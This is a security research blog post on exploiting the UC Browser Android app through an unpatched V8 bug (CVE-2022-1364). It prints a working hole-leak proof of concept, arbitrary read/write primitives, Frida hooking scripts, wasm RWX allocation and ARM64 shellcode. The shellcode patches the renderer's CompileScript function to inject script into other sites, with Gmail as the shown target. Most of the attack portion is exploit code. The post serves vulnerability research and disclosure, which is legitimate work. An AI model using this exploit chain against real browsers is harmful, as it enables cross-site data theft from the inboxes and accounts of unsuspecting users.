October
2025
Introduction
We recently had some downtime from the major browsers, so we decided to look around a bit to see what is out there apart from the usual candidates. We decided to focus this on the eastern market and specifically chose QQ and UC Browser as potential candidates due to their market-share. QQ reports over 500 million active monthly users and UC seems to lie somewhere in the 100-150 million user range.
QQ fell out of favor rather quickly since it was a bit of a pain to setup from a western perspective (accounts require Chinese phone numbers so we would have had to jump through hoops such as hiring a guy on fiverr to register an account for us). This leaves UC Browser as the target of choice, and the focus of the remainder of this blogpost.
UC Browser Overview
UC Browser is being actively developed by UCWeb (a subsidiary of the Chinese Alibaba technology company). It sees almost no western usage, in fact none of us had even heard of it before starting this project. It does however seem reasonably popular across India, Indonesia, and China. The browser seems to mainly be supported and optimized for mobile applications, and we were not able to find updated versions for desktop applications. This means that our research focused mainly on the Android application.
The browser relies on Google Chrome for all of its core functionality and is mainly focused on extending it with various features, such as an improved download manager for mobile devices or built-in adblock and translation features. This means that the renderer version is based on Chrome's Blink, more on that later.
Another thing worth pointing out is that UC Browser has had several privacy incidents in the past that have been documented by other research teams. The reports indicate that UC Browser had measures in place to transmit user data to external servers. These prior reports also indicate that several government agencies were already actively abusing UC's poor security/data-management practices for various exploits. We didn't focus on privacy aspects of the browser for this research project, but Citizen Lab has a very good blog post on the research they conducted on this topic if you want further reading on this: https://citizenlab.ca/2016/08/a-tough-nut-to-crack-look-privacy-and-security-issues-with-uc-browser/.
Project Startup
All testing was done on a Pixel 6a running Android 16. Looking at the extracted APK files, the overall layout is quite similar to the Chrome APK (although they don't make use of split-apks like Chrome does, so all files are listed together). Most of the main browser engine code (and our focus here), is in a 68 KB library called `libwebviewuc.so`. Apart from that there are also some additional libraries such as `libtorrent4j.so` to support some of their additional features, but we didn't look further into those for this research.
Booting up the browser it looks basically the same as any other mobile browser, just with some additional settings towards their added features such as an adblocker or their custom downloader.

The browser has no source code available and ships fully stripped with no debug symbols, so the first initial idea was to see if there may be a way to get some symbols going. We had some scripts lying around that were used to symbolize Android-based browsers in the past based on Chrome source/compiled-objects. We tried these on UC, but unfortunately UC's layout/compile flags were too different to quickly adapt the scripts, making them not worth the effort.
Another idea was to see if they ever accidentally shipped non-stripped code in the past. To check this we set up a webscraper to download all hosted APKs from ApkMirror and then run some quick checks. There were in fact a couple of individual library files that they mistakenly shipped unstripped in various versions, but none of these were particularly interesting for our purposes, so this idea too proved fruitless. While certainly not the cleanest/most reusable code, I'll leave the scraper code here nevertheless in case someone can find use of it.
```py
"""
Script to download all apk-releases from apkmirror for uc-browser. Should be applicable to other apks on the website as well with some changes to the urls and the regexes depending on the app.
Requires gui because downloads are performed by opening the final url in a web-browser to automatically start the download. May need to occasionally tick some "are you human" boxes to continue downloads.
"""
import re
import requests
import time
import webbrowser
# Default user agent to access site
user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36'
mheaders = { 'User-Agent' : user_agent }
# Number of pages on APKMirror that contain apps to download (5 for UC Browser)
NUM_PAGES = 5
def fetch_page(page_number):
fetch_url = ""
if page_number == 1:
fetch_url = "https://www.apkmirror.com/uploads/?appcategory=uc-browser"
else:
fetch_url = f"https://www.apkmirror.com/uploads/page/{page_number}/?appcategory=uc-browser"
r = requests.get(url = fetch_url, headers=mheaders)
if int(r.status_code) != 200:
print(f"Error 1 {r.status_code}: {r.text}")
return
return r.text
def handle_page(dedup_set, page_number):
pattern = r'/apk/[\w-]+/[\w-]+/[\w-]+-[\d-]+-release'
data = fetch_page(page_number)
match = re.findall(pattern, data)
for x in match:
if "singapore" not in x:
continue
dedup_set.add(x)
# Iterate through pages parsing request responses until
# the final download url is found
def get_download_url(item):
base_url = "https://www.apkmirror.com"
full_url = base_url + str(item)
r = requests.get(url = full_url, headers=mheaders)
if int(r.status_code) != 200:
print(f"Error 2 {r.status_code}: {r.text}")
return
word = "download/"
pat = r'<span class=\"bubble p-static inlineBlock\".*?<a href="([^"]+)"'
match = re.findall(pat, r.text)[0]
pat2 = rf"^(.*?{re.escape(word)})"
next_url = base_url + re.match(pat2, match).group(1)
r = requests.get(url = next_url, headers=mheaders)
pat = r'btn-flat downloadButton.*?href="([^"]+)"'
match = re.findall(pat, r.text)[0]
final_url = base_url + match
return final_url
# Perform the actual apk download by opening download url in browser new tab
def download(url):
webbrowser.open(url, new=2)
def main():
dedup_set = set()
# Iterate through all versions listed on APKMirror and compile
# the list into `dedup_set`
for page_number in range(1, NUM_PAGES):
print(f"[+] Handling page {page_number}")
handle_page(dedup_set, page_number)
for (i, item) in enumerate(dedup_set):
try:
res = get_download_url(item)
print(f"{i}: {res}")
with open("res.txt", "a") as f:
f.write(f"{str(res)}\n")
download(res)
except Exception as e:
print(f"{i} Failed on {item}")
print(e)
# Long wait between downloads to not get rate limited
time.sleep(120)
if __name__ == "__main__":
main()
```
This made reverse engineering the massive multithreaded browser code base quite challenging and also resulted in multiple complications later on in the project when debugging various crashes during the exploitation process. More on these debugging challenges later.
For now however, these issues go into the background. As it turns out, UCWeb does not seem to do a great job keeping up with Chrome security updates for their product. As of writing this post the Play Store UCBrowser app installs with Chrome/123.0.6312.80 as the underlying engine, while Android's Chrome app is on Chrome/140.0.0.0. The version used by UC is from April 2024. This is an almost 1.5-year patch gap, plenty of time for motivated vulnerability researchers to patch-gap exploit various n-days.
This made the next steps quite obvious. Go through V8 CVEs from that time frame, and find one that reproduces on Android UC Browser with a good POC. V8 CVEs however generally follow a pretty formulaic approach and would not have made for a very interesting blog post on themselves, especially when reusing an already working n-day POC. Further information gathering revealed another interesting bit of information. The browser does not support Chrome's Site Isolation mechanisms. All renderer tabs run in the same process, which means that RCE in one tab can be used to access information in all the other tabs.
Generally, browser based post exploitation follows the process of following up on a V8 exploit with a sandbox exploit that allows full access to the OS. This however, would have been quite tedious to exploit on a fully stripped browser, even with existing POC's. Sandbox escapes have also already been widely explored in the public domain, so instead, with the lack of Site Isolation, we decided to explore some post-exploitation methods that do not involve a sandbox exploit.
What follows in the rest of this blogpost is a quick writeup on the arbitrary read/write primitives into RCE, and then a dive into non-sandbox based post-exploitation to extract data from an email inbox.
V8 Exploit
So as to not publicly post a 0-day exploit that affects millions of users, the exploit will be targeting a slightly older version of the browser using CVE-2022-1364. Even on the most recent versions of the browser, no Site Isolation was observed, so all topics explored in this blogpost still apply.
As mentioned earlier, the chosen RCE bug is CVE-2022-1364. This bug was chosen due to reproducing cleanly on UC and having very good POC's publicly available. This bug was fixed in Chrome/100.0.4896.127, which was released in April 2022. This same security update did not come to UC until late 2024, once again demonstrating the very large patch gapping window open to attackers.
Bug Overview
The initial memory corruption POC has been adapted from https://github.com/anvbis/chrome_v8_ndays/blob/master/cve-2022-1364.js.
The overarching idea of the memory corruption bug is that 2 objects can be allocated that point to the same backing store. One of these 2 objects can then have its elements transitioned to a `HOLEY elements type` while the other object remains as `PACKED`, thus allowing an attacker to leak the `hole` value. In the POC below, you can see this being executed on lines 30 & 31. This could then be exploited using commonly known methods as listed here: https://issues.chromium.org/issues/40057710.
The generation of these 2 objects is based on a turbofan escape analysis bug. Escape analysis is an optimization that attempts to avoid allocating objects that are limited to a local context on the heap. Even after escape analysis optimizations, there need to be mechanisms in place to recover the object information in cases of deoptimization or for stack traces. On line 6 in the below POC, `getThis` is used for exactly this concept. On every invocation, the optimized out allocation needs to be materialized, thus creating multiple instances of the object.
This idea is then used with an `ArgumentsObject` later in the exploit. In this situation, on line 20, the optimizer decides that the object can be dematerialized by the escape analysis, but its backing store cannot, since an entry into the backing store "escapes" the function on line 21. This, along with the previously mentioned method of retrieving multiple instances of the materialized object, results in multiple objects pointing to the same backing store that can be independently modified, enabling further memory corruptions.
I'm not going to go any deeper into how the 2 objects pointing to the same backing store were generated since that is not the focus of this blog post, and we specifically chose this bug because good RCE POC's were already available. If you are interested in reading more, you can refer to the original bug report and a small writeup here: https://issues.chromium.org/issues/40059369 & https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-1364.html.
Initial hole leak
```js
function foo() {
const _x = a => (a => a.x())(a);
const _y = (a, b) => b.y(a, b, 1);
const _z = i => {
Error.prepareStackTrace = (_, x) => x[i].getThis();
return Error().stack;
};
function X() {}
X.prototype.x = () => {
let z = _z(3);
z[0] = 0;
e = { x: z, y: _z(3) };
};
X.prototype.y = function(a, b) {
'use strict';
_x.call(arguments, b);
return arguments[a];
}
let e = null;
let x = new X();
for (let i = 0; i < 10000; i++)
_y(1, x);
delete e.x[0];
return e.y[0]; // Returns the hole value
}
```
The remaining V8 exploit primitives are now fairly straightforward to set up. The hole leak is exploited as described in the earlier-mentioned post to generate an array that can be accessed out of bounds with a very large length value. From there, `addr_of`, `arb_read`, and `arb_write` primitives can be generated using object/float array type confusions. You can read more about these methods in a variety of other writeups, such as an old post I made on V8 exploitation (https://seal9055.com/ctf-writeups/browser_exploitation/download_horsepower). Covering the specifics of these is out of scope for this blog post.
Hole to OOB Array and Exploit Primitives
```js
function bar() {
let hole = foo();
let m = new Map();
m.set(1, 1);
m.set(hole, 1);
m.delete(hole);
m.delete(hole);
m.delete(1);
let a = new Array(1.1, 2.2);
m.set(16, -1);
m.set(a, 1337);
return a;
}
let oob = bar();
let _ = [1.1]
let tmp = {a: 1};
let leak_obj = [tmp];
let buf = new ArrayBuffer(0x100);
let view = new DataView(buf);
/// Address-Of Primitive
/// Pass object as argument to retrieve object address
function addr_of(obj) {
leak_obj[0] = obj;
return (ftoi(oob[25]) - 1n);
}
/// Arbitrary-Read Primitive
/// Perform a 4-byte memory read at `addr` and return 32-bit integer
function arb_read(addr) {
let saved_addr = oob[34];
oob[34] = itof(addr);
let ret = view.getUint32(0x0, true);
oob[34] = saved_addr;
return ret;
}
/// Arbitrary-Write Primitive
/// Write 32-bit value `val` to `addr`
function arb_write(addr, val) {
let saved_addr = oob[34];
oob[34] = itof(addr);
view.setUint32(0, val);
oob[34] = saved_addr;
}
```
Post Exploitation Introduction
At this point we have arbitrary reads and writes within the V8 codespace. From here there are two ways forward, a sandbox escape or exploiting capabilities accessible from within the sandbox. In this case we'll be focusing on the lesser explored second option.
There are a couple of different options depending on the browser and its security mitigations at the renderer level. Most of these are generally dependent on bypassing CORS/SOP to interface with other pages.
There are unfortunately very few blog posts available on this subject, and even internally, not many of the researchers at Interrupt Labs had extensively dealt with this in the past since exploits usually just progress from V8 RCE to Sandbox exploit. That being said, these are the resources that I found most helpful going into this:
1. Amy Burnett - BlueHat IL 2020 - Forget the Sandbox Escape: Abusing Browsers from Code Execution (https://www.youtube.com/watch?v=a0yPYpmUpIA)
2. Tencent Security Xuanwu Lab - Blackhat Asia 2024 - The Hole in Sandbox: Escape Modern Web-Based App Sandbox From Site-Isolation Perspective (https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf)
Amy lays out several techniques for bypassing these mitigations for Safari and Firefox. These (at least at the time of the presentation) were somewhat simple to bypass since both Browsers had parts of these checks made within the actual renderer process. This meant that any bug enabling arbitrary read/write within the renderer could either patch variables used to check for CORS or just straight-up patch the SOP-check function to always pass. In Safari for example, this was checked simply using an `m_universalAccess` variable. I am using the past tense here because I believe much of this has changed/been hardened since 2020, but I haven't looked into these Browsers lately, so I can't say how much harder it is nowadays. She also demonstrated some additional very interesting techniques based on Iframes and Service workers that I would strongly recommend you take a look at if this topic interests you.
Unfortunately none of these apply directly to Chrome, even back in 2020 Google already had more advanced security measures in place. In Chrome these measures are implemented by making ipc requests through the sandbox to a privileged process which then verifies the validity of these requests before allowing this access. This means that all options based on patching variables/functions fall out of favor.
Luckily however we came across a very interesting idea within Tencent's Blackhat presentation. This is applicable for both older Chrome versions on Android, where Site Isolation had some issues that didn't isolate all sites (their presentation demo was done on 90.0.4430.61), and UC Browser, which does not have any Site Isolation at all! This technique is based on using the arbitrary read/write to patch the interpreter. This patch would modify interpreted Javascript to append a UXSS payload. The full exploit flow could then look like this:
1. Victim opens the attackers' site
2. Attacker-controlled site triggers some bug in the renderer that enables arbitrary Reads/Writes/Executes within the renderer process
3. Deploy interpreter patch
3a. Find base address of `libwebviewuc.so` (the main chrome library that contains the interpreter code)
3b. Call `mprotect` shellcode to set the interpreter section as rwx
3c. Use arbitrary write to patch the function to append our UXSS payload to Javascript code that passes through the interpreter
4. User opens an arbitrary website of interest (such as an email inbox as shown later in the demo), which gets passed through the patched interpreter that allows for full data extraction without having to deal with any SOP/CORS protections.
We hadn't seen this type of exploit mentioned anywhere else prior to this and the talk did not include any code examples, so we decided that further exploring this idea could make for some interesting research. Especially considering we have a target that is reasonably popular and very vulnerable to it.
Post Exploitation: Frida to the Rescue
Earlier on in the blogpost I mentioned various debugging challenges that came up during this project. Now is the time to write about these and some of the methods we used to deal with them.
The first problem is that everything is fully stripped with no symbols available. This issue is unfortunate and we tried to address it earlier in the blogpost, but it wasn't easily resolved and is just going to be something we need to deal with for the entire project.
The second problem is that GDB is a complete no-go with this browser. This is unfortunately a much bigger problem. It meant that for the V8 RCE exploit discussed earlier, we had no debugger available to determine exact offsets, and it also means that now when we start dealing with shellcode and function patching, we have no debugger available to directly verify that our instructions work. We spent some time trying to figure out what the exact issue was, but the conclusion was kinda just that the browser has some features that are implemented so poorly that threads just start racing when a debugger comes into play, eventually leading to crashes in various different portions/processes in the browser. We did have thoughts that there may be some anti-debugging code in place trying to intentionally make our lives more difficult, but going through a couple of methods I've seen before in CTF's none seemed to apply. That being said, it is certainly possible that we missed it and the debugger-crashes were in fact intentional by the browser devs.
For quite a while into the project, my solution for this ended up being crash-log debugging. Basically, introducing intentional segfaults in various portions of the shellcode that would result in automatic crash-log generation. These logs displayed register values at the crash and some memory surrounding each register, enabling a decent amount of data analysis. Even these crash logs were automatically encrypted by the browser. Fortunately they wrote them to disk first before encrypting them and deleting the unencrypted version, so a quick bash script that saves the crash log off to a different location immediately on generation solves this issue.
```sh
#!/bin/sh
rm crash_log
while true; do
cat /data/data/com.UCMobile.intl/crash/*.log >> crash_log
sleep 1
done
```
This method of debugging worked reasonably well, but it made for quite slow iteration on every change since we'd need to edit the exploit to force the crash, generate crash logs, and then go through the crash log, which still had somewhat limited information.
Now, people who are more familiar with Android Vulnerability research are probably very confused about why I would go through all this effort. Why not just use Frida? And they would have a very good point. I hadn't done much work on Android prior to this and as far as DBI frameworks go I only had experiences with Pin/Dynamorio/Unicorn, so Frida didn't even come to my mind until a co-worker suggested I take a look at it. This was a complete game-changer for this project, both for debugging and prototyping for the remaining exploit. Frida has APIs in place to very easily attach to processes through an ADB connection and provides APIs to read/write memory locations, retrieve library addresses, and much more.
The script below showcases how to set this up, and how Frida's APIs can be used to trivially gather all information provided by the crash-logs and more. This was very helpful during all portions of this exploitation process.
```py
import frida
import sys
def on_message(message, data):
print("[%s] => %s" % (message, data))
def main():
#session = frida.get_usb_device().attach("UC Browser")
# Attach directly through pid of renderer process, otherwise
# frida often attaches to an unwanted process instead
session = frida.get_usb_device().attach(29062)
script = session.create_script("""
function hex(val) {
return "0x" + val.toString(16);
}
const libwebview_base = Number(Module.findBaseAddress("libwebviewuc.so"));
const compile_str_addr = libwebview_base + 0x01eead28;
console.log("[+] Libwebview Base-address: " + hex(libwebview_base));
console.log("[+] CompileString addr: " + hex(compile_str_addr));
function dump(addr) {
console.log("[+] Dumping " + addr);
const data = Memory.readByteArray(addr, 200);
console.log("------------------------------");
console.log(hexdump(data, {
offset: 0,
length: 200,
header: true,
ansi: true
}));
console.log("------------------------------");
}
console.log("Hooking sc");
Interceptor.attach(ptr(0x41410200), {
onEnter(args) {
send("enter1");
try { console.log("[+] arg0: " + hex(args[0])); } catch {}
try { console.log("[+] arg1: " + hex(args[1])); } catch {}
let a0_0 = ptr(Memory.readU64(ptr(Number(args[1]) + 0)))
let a0_8 = ptr(Memory.readU64(ptr(Number(args[1]) + 8)))
dump(a0_0)
dump(a0_8)
}
});
""")
script.on('message', on_message)
script.load()
sys.stdin.read()
if __name__ == '__main__':
main()
Furthermore, Frida came in extremely useful for another important aspect of this exploit, prototyping. Earlier I described the exploitation process that requires various different shellcode allocations, `mmap` calls, etc. This is a pretty involved process, all based on an idea seen on a presentation that we didn't even know would work with 100% certainty on our target. Frida was very helpful here since it cut out all of the middlework and enabled us to directly skip to the final step. The below Frida script does exactly that. It starts by getting the `libwebviewuc.so` base address, using that to calculate the address of the `CompileScript` function. This is our chosen function that takes a Javascript string as an argument within the V8 interpreter. Next the `Interceptor.attach` API is used to hook this function alongside the `Memory.readU64` and `Memory.writeByteArray` Frida APIs to mimic the exploits' Arbitrary Read & Write primitives. These are used to traverse a couple of argument pointers to find the actual string location and to then edit the string with our Javascript payload.
The `find_entrypoint` function is used to make sure we are overwriting the correct JS-snippet. Real websites obviously have a lot of Javascript code that they can't function without, so we need to make sure not to overwrite Javascript vital to the website's execution. In this case, we are overwriting some code related to ads that seems not to affect site execution. The best code snippet to overwrite was found through trial and error and will vary for every website that the exploit should target. In this case, the target is Gmail. Some parts of the payload insertion won't fully make sense yet based on the below code (such as the `';'.repeat(0x929-0xd+0x53-js_payload.length`). Those will be explained properly later in the actual exploit.
```py
import frida
import sys
def on_message(message, data):
print("[%s] => %s" % (message, data))
def main():
script = session.create_script("""
function hex(val) {
return "0x" + val.toString(16);
}
v8_V8ScriptRunner_CompileScript_offset = 0x31c2ae8;
const libwebview_base = Number(Module.findBaseAddress("libwebviewuc.so"));
const compile_script_addr = libwebview_base + v8_V8ScriptRunner_CompileScript_offset;
console.log("[+] Libwebview Base-address: " + hex(libwebview_base));
console.log("[+] CompileSscript addr: " + hex(compile_script_addr));
const data = Memory.readByteArray(ptr(libwebview_base + 0x31c2ae8), 0x100);
console.log(hexdump(data, {
offset: 0,
length: 0x100,
header: true,
ansi: true
}));
function dump(addr) {
console.log("[+] Dumping " + addr);
const data = Memory.readByteArray(addr, 3000);
console.log("------------------------------");
console.log(hexdump(data, {
offset: 0,
length: 3000,
header: true,
ansi: true
}));
console.log("------------------------------");
}
function arrayBufferToString(buffer) {
return String.fromCharCode.apply(null, new Uint8Array(buffer));
}
function str_to_arr(str) {
var utf8 = [];
for (var i = 0; i < str.length; i++) {
var charcode = str.charCodeAt(i);
if (charcode < 0x80) {
utf8.push(charcode);
} else if (charcode < 0x800) {
utf8.push(0xc0 | (charcode >> 6),
0x80 | (charcode & 0x3f));
} else if (charcode < 0xd800 || charcode >= 0xe000) {
utf8.push(0xe0 | (charcode >> 12),
0x80 | ((charcode >> 6) & 0x3f),
0x80 | (charcode & 0x3f));
} else {
// surrogate pair
i++;
// UTF-16 to UTF-8 conversion
var surrogatePair = 0x10000 + (((charcode & 0x3ff) << 10)
| (str.charCodeAt(i) & 0x3ff));
utf8.push(0xf0 | (surrogatePair >> 18),
0x80 | ((surrogatePair >> 12) & 0x3f),
0x80 | ((surrogatePair >> 6) & 0x3f),
0x80 | (surrogatePair & 0x3f));
}
}
return utf8;
}
function find_entrypoint(addr, s) {
const data = Memory.readByteArray(addr, 500);
let as_str = arrayBufferToString(data);
if (as_str.includes(s)) {
console.log(as_str);
console.log(data)
return true;
}
return false;
}
let js_payload = `
alert('XSS Accomplished');
`
Interceptor.attach(ptr(compile_script_addr), {
onEnter(args) {
let arg2 = args[1];
let arg2_deref = ptr(Memory.readU64(ptr(Number(arg2))))
let arg2_deref_deref = Memory.readU64(ptr(Number(arg2_deref) + 56))
if (find_entrypoint(ptr(arg2_deref_deref), "unsubscribe")) {
let js_starting_pos = arg2_deref_deref + 0xd;
dump(ptr(arg2_deref_deref))
console.log("Intercepted");
Memory.writeByteArray(ptr(js_starting_pos), str_to_arr(js_payload));
Memory.writeByteArray(
ptr(js_starting_pos+js_payload.length), str_to_arr(';'.repeat(0x929-0xd+0x53-js_payload.length)))
dump(ptr(arg2_deref_deref))
}
}
});
""")
script.on('message', on_message)
script.load()
sys.stdin.read()
session = frida.get_usb_device().attach(<renderer-pid>)
if __name__ == '__main__':
main()
```

In the screenshot you can see how the `find_entrypoint` function successfully found the js-string we want to overwrite, and can now overwrite this string with our js-payload. I don't have a screenshot of this lying around anymore, but the payload successfuly triggered here and showcased that this approach is viable. Also worth noting that we chose to overwrite an existing js-string instead of appending to one, so as to add in the least amount of changes. We wanted to avoid having to edit all the length fields and other meta-data related to the string, so overwriting it with a same length string is the simplest approach. Time to delegate frida back to debugging purposes and work on finishing the actual exploit.
Post Exploitation Implementation
Let's summarize what our goals are here:
- We have `arb_read`, `arb_write`, and `addr_of` primitives, but we still need rwx code execution. For this we'll use some wasm instances that come with rwx pages.
- We need to write our js-payload and use the V8 exploit primitives to get the address of the actual string.
- We need to write some shellcode that given the address of an original js-string in the process of compilation, and the address of our js-string payload, checks that its the correct js-string to overwrite and performs the actual memcpy.
- We need to find the address of the `CompileScript` function, make it writable, and overwrite some of its instructions to insert a hook to our shellcode.
- All of this needs to execute cleanly and return to proper browser execution by the end.
A quick reminder of where we left off the actual exploit code: V8 bug triggered and primitives setup that provide addr_of, arb_read & arb_write primitives. Continuing on, we'll start by allocating two rwx regions and retrieving the address of the rwx code-regions. Next, exactly as we did in the Frida portion, we need to get the base address of the `libwebviewuc.so` library. In this case, we can't rely on Frida APIs, so instead we find an address contained within an object we have access to that points to a set offset within `libwebviewuc.so` and use it to calculate the base address.
Finally we also use our addr_of primitive to retrieve the address of js_payload. This is the string that will be used to overwrite a js string in the interpreter patch later. I'll go over the actual js payload a bit later.
```js
const libwebview_base_offset = 0x41de800n
/// Max size for rwx region seems to be 0x30 bytes, so I need multiple rwx regions for all the shellcode
let wasm_code1 = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_module1 = new WebAssembly.Module(wasm_code1);
let wasm_instance1 = new WebAssembly.Instance(wasm_module1,{});
let f1 = wasm_instance1.exports.main;
let wasm_code2 = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_module2 = new WebAssembly.Module(wasm_code2);
let wasm_instance2 = new WebAssembly.Instance(wasm_module2,{});
let f2 = wasm_instance2.exports.main;
function exploit() {
//...
print("[+] OOB Array Created: length=" + oob.length);
let rwx_page1 = BigInt(arb_read(addr_of(wasm_instance1) + 0x7Cn)) - 0x4n;
let rwx_page2 = arb_read(addr_of(wasm_instance1) + 0x80n);
let rwx_addr = (rwx_page1 << 32n) + BigInt(rwx_page2)
print("[+] RWX Page: " + hex(rwx_addr));
let rwx_page1b = BigInt(arb_read(addr_of(wasm_instance2) + 0x7Cn)) - 0x7n;
let rwx_page2b = arb_read(addr_of(wasm_instance2) + 0x80n);
let rwx_addr2 = (rwx_page1b << 32n) + BigInt(rwx_page2b)
print("[+] RWX Page2: " + hex(rwx_addr2));
print("[+] `document` Address: " + hex(addr_of(document)));
let lower_base = BigInt(arb_read(addr_of(document) + 0x18n))
let upper_base = BigInt(arb_read(addr_of(document) + 0x1Cn))
let libwebview_base = ((upper_base << 32n) + lower_base) - libwebview_base_offset;
print("[+] Libwebview-Base: " + hex(libwebview_base));
let js_payload = `
...
`
// Retrieve address of the js-payload string
let js_payload_addr = 0x0n;
{
let wrap_addr = addr_of(js_payload);
js_payload_addr = wrap_addr + 0x10n;
print("[+] JS payload address leaked: " + hex(js_payload_addr));
}
//...
}
```
Next, let's get started on some setup shellcode. We'll have quite a bit of shellcode to write for the remainder of the exploit, so the limited WASM regions won't quite cut it. Instead we'll start by allocating an rwx region at `0x41410000` and then setting up a small trampoline that we can invoke from our exploit to call the shellcode and then return to correct interpreter execution without crashing.
```js
// f1: Allocate RWX region at 0x41410000
{
/*
; Allocate data region to pass values to shellcode
mov x0, #0x41410000
mov x1, #0x1000 // #4096
mov x2, #0x7 // #7
mov x8, #0xe2 // #226 (mprotect)
svc #0x0
*/
let sc = [i_mov_x0_0x41410000, i_mov_x1_0x1000, i_mov_x2_0x7, i_mov_x8_0xe2, i_svc_0x0];
let rwx_cur_offset = 0n;
for (let i = 0; i < sc.length; i++) {
arb_write(rwx_addr + rwx_cur_offset , sc[i]);
rwx_cur_offset += 0x4n;
}
arb_write(rwx_addr + rwx_cur_offset, ret_instr);
}
// This allocates an rwx region at 0x41410000 that we can use to execute the rest of our
// shellcode. This is necessary because wasm rwx regions have size limit
{
print("[+] Calling f1");
f1();
print("[+] Returned from f1");
}
// f2: Stub that calls our shellcode at 0x41410000 and handles correct return to the js engine
{
/*
; Shellcode to jump to larger shellcode region
mov x0, #0x41410000
br x0 <return to js engine>
*/
let sc = [i_mov_x0_0x41410000, i_br_x0, ret_instr];
arb_write(rwx_addr2 + 0x0n, sc[0]);
arb_write(rwx_addr2 + 0x4n, sc[1]);
arb_write(rwx_addr2 + 0x8n, sc[2]);
}
```
Now, let's get started on the actual shellcode. This is the code that will get invoked by the patched `CompileScript` function. It basically does everything that the `Interceptor.attach` code did in our Frida prototype.
`start_seq` will be the entry point of our shellcode. It makes some space on the stack and saves some registers that we will overwrite in our shellcode.
The patch overwrites some instructions within the `CompileScript` function to enable our hook, so `ret_seq` makes sure to both invoke those missing instructions and to restore registers overwritten by our shellcode using the space made earlier by `start_seq`. This ensures that the interpreter can keep running without issues after our shellcode is done executing.
As for the actual shellcode, it starts by comparing the memory region with the "unsubscribe" string, just like the `find_entrypoint` function was doing earlier in Frida. It early exits out if it's not found so our patch is only applied to the string we are trying to overwrite. Next, assuming we are looking at the correct string, we simply perform a memcpy from the previously retrieved js_payload string to the string handled by the interpreter function.
```js
/// Big-Endian/Little-Endian Conversion
function reverse_bytes(val) {
val = BigInt(val);
v1 = val & 0xffn;
v2 = (val & 0xff00n) >> 8n;
v3 = (val & 0xff0000n) >> 16n;
v4 = (val & 0xff000000n) >> 24n;
return Number(v4 + (v3 << 8n) + (v2 << 16n) + (v1 << 24n));
}
// Setup code at 0x41410000 to set `libwebview+0x01eea000` to rwx
let shellcode_start_addr = 0x0;
{
/*
sub sp, sp, #0x20
stp x6, x7, [sp]
stp x8, x9, [sp,#0x10]
*/
let start_seq = [i_sub_sp_sp_0x20, i_stp_x6_x7_sp, i_stp_x8_x9_sp_0x10]
/*
Need to execute instructions that we overwrite with the hook-code and then return to continue correct execution
; Restore registers used in shellcode
ldp x6, x7, [sp]
ldp x8, x9, [sp, #0x10]
add sp, sp, #0x20
; Restored instructions overwritten by the `CompileScript` hook
mrs x21, tpidr_e10
ldr x8, [x21, #0x28]
mov x27, x5
mov x22, x1
mov w28, w2
ret
*/
let ret_seq = [i_ldp_x6_x7_sp, i_ldp_x8_x9_sp_0x10, i_add_sp_sp_0x20]
ret_seq = ret_seq.concat([i_mrs_x21_tpidr_e10, i_ldr_x8_x21_0x28, i_mov_x27_x5, i_mov_x22_x1, i_mov_w28_w2, i_ret])
/*
; Can't overwrite x0, x1, x2, x5, x29, x30
<start_seq> ; 3 instructions
; Retrieve js code in x1 and compare to see if its the js code we want to hook,
; if yes replace with our payload, if not, return
ldr x7, [x1]
ldr x8, [x7, #0x38]
cbz x8, .skip ; Sometimes in frida x8 is 0 here, so add a check
ldur x9, [x8, #0x19]
mov x7, #0x75736e75 ; "unsu"
cmp w7, w9
b.eq #0x20
.skip:
<ret_seq> ; 8 instructions
<padding> ; 4 instructions
mov x7, js_payload_addr
add x8, x8, #0xd
; Memcpy x7 to x8
.L1
ldrb w6, [x7]
strb w6, [x8]
cbz w6, #0x30
add x7, x7, #1
add x8, x8, #1
add x0, x0, #0
b .L1
<padding> ; 9 instructions
<ret_seq> ; 8 instructions
<padding> ; to 80 instruction total length
*/
let sc2 = start_seq;
sc2 = sc2.concat([i_ldr_x7_x1, i_ldr_x8_x7_0x38, i_cbz_x8_0x28, i_ldur_x9_x8_0x19]);
sc2 = sc2.concat(generate_mov_x7_imm(BigInt(0x75736e75))); // 'unsu'
sc2 = sc2.concat([i_cmp_w7_w9, i_beq_0x4c]);
sc2 = sc2.concat(ret_seq);
sc2 = sc2.concat([i_padding, i_padding, i_padding, i_padding]);
sc2 = sc2.concat(generate_mov_x7_imm(BigInt(js_payload_addr)));
sc2.push(i_add_x8_x8_0xd)
let memcpy = [i_ldrb_w6_x7, i_strb_w6_x8, i_cbz_w6_0x5c, i_add_x7_x7_0x1, i_add_x8_x8_0x1, i_nop, i_b_0x1c];
sc2 = sc2.concat(memcpy)
sc2 = sc2.concat([i_padding, i_padding, i_padding, i_padding, i_padding]);
sc2 = sc2.concat([i_padding, i_padding, i_padding, i_padding]);
sc2 = sc2.concat(ret_seq);
while (sc2.length < 80) {
sc2.push(i_padding);
}
for (let i = 0; i < sc2.length; i++) {
sc2[i] = reverse_bytes(sc2[i]);
}
print("[+] Shellcode Constructed");
// Retrieve the address of the shellcode using addr_of and arb_write primitives
let sc_as_uint32_arr = new Uint32Array(sc2);
let sc_as_uint32_arr_addr = addr_of(sc_as_uint32_arr)
let lower = BigInt(arb_read(sc_as_uint32_arr_addr + BigInt(56)));
let upper = BigInt(arb_read(sc_as_uint32_arr_addr + BigInt(60)));
shellcode_start_addr = (upper << 0x20n) + lower;
print("[+] Shellcode Start Address: " + hex(shellcode_start_addr));
```
